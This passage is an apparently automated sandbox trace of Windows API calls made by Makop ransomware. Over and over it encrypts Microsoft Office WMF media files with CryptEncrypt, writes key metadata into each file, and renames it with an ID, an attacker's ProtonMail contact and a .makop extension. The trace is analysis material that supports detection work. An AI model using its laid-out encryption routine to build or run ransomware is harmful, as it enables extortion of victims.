hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.955] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.955] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.955] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.956] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9e0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9e0, lpOverlapped=0x0) returned 1 [0163.956] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9e0) returned 1 [0163.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9e0, lpOverlapped=0x0) returned 1 [0163.956] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.956] SetEndOfFile (hFile=0xf0) returned 1 [0163.963] GetProcessHeap () returned 0x48a0000 [0163.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.963] GetProcessHeap () returned 0x48a0000 [0163.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286034.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286034.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.965] CloseHandle (hObject=0xf0) returned 1 [0163.965] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0163.965] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF") returned 61 [0163.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.966] GetProcessHeap () returned 0x48a0000 [0163.966] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.966] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.966] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.966] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.967] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.967] GetProcessHeap () returned 0x48a0000 [0163.967] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.967] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.967] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.967] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.971] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.972] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.972] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.972] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.972] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.972] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.973] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x9d0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x9d0, lpOverlapped=0x0) returned 1 [0163.973] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d0, dwBufLen=0x9d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9d0) returned 1 [0163.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9d0, lpOverlapped=0x0) returned 1 [0163.973] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.973] SetEndOfFile (hFile=0xf0) returned 1 [0163.980] GetProcessHeap () returned 0x48a0000 [0163.980] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.980] GetProcessHeap () returned 0x48a0000 [0163.980] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.980] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.980] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0286068.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0286068.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.989] CloseHandle (hObject=0xf0) returned 1 [0163.990] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0163.990] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF") returned 61 [0163.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.991] GetProcessHeap () returned 0x48a0000 [0163.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0163.995] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.995] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.995] GetProcessHeap () returned 0x48a0000 [0163.995] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.995] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.995] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.996] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.996] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.996] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.997] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.997] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.997] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.997] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb21e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb21e, lpOverlapped=0x0) returned 1 [0163.999] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb220, dwBufLen=0xb220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb220) returned 1 [0164.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb220, lpOverlapped=0x0) returned 1 [0164.001] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb2f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.001] SetEndOfFile (hFile=0xf0) returned 1 [0164.008] GetProcessHeap () returned 0x48a0000 [0164.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.008] GetProcessHeap () returned 0x48a0000 [0164.008] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.008] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.008] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0287005.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0287005.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.010] CloseHandle (hObject=0xf0) returned 1 [0164.010] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0164.010] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF") returned 61 [0164.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.012] GetProcessHeap () returned 0x48a0000 [0164.012] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.012] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.012] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.012] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0164.016] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.016] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.017] GetProcessHeap () returned 0x48a0000 [0164.017] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.017] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.017] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.017] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.017] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.017] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.018] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.018] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.018] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.018] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.018] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x76ea, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x76ea, lpOverlapped=0x0) returned 1 [0164.020] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x76f0, dwBufLen=0x76f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x76f0) returned 1 [0164.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x76f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x76f0, lpOverlapped=0x0) returned 1 [0164.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x77c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.021] SetEndOfFile (hFile=0xf0) returned 1 [0164.028] GetProcessHeap () returned 0x48a0000 [0164.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.028] GetProcessHeap () returned 0x48a0000 [0164.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.028] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0291984.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0291984.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.030] CloseHandle (hObject=0xf0) returned 1 [0164.030] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0164.030] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF") returned 61 [0164.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.034] GetProcessHeap () returned 0x48a0000 [0164.034] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.034] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.034] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.034] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.038] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.038] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.038] GetProcessHeap () returned 0x48a0000 [0164.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.038] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.038] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, 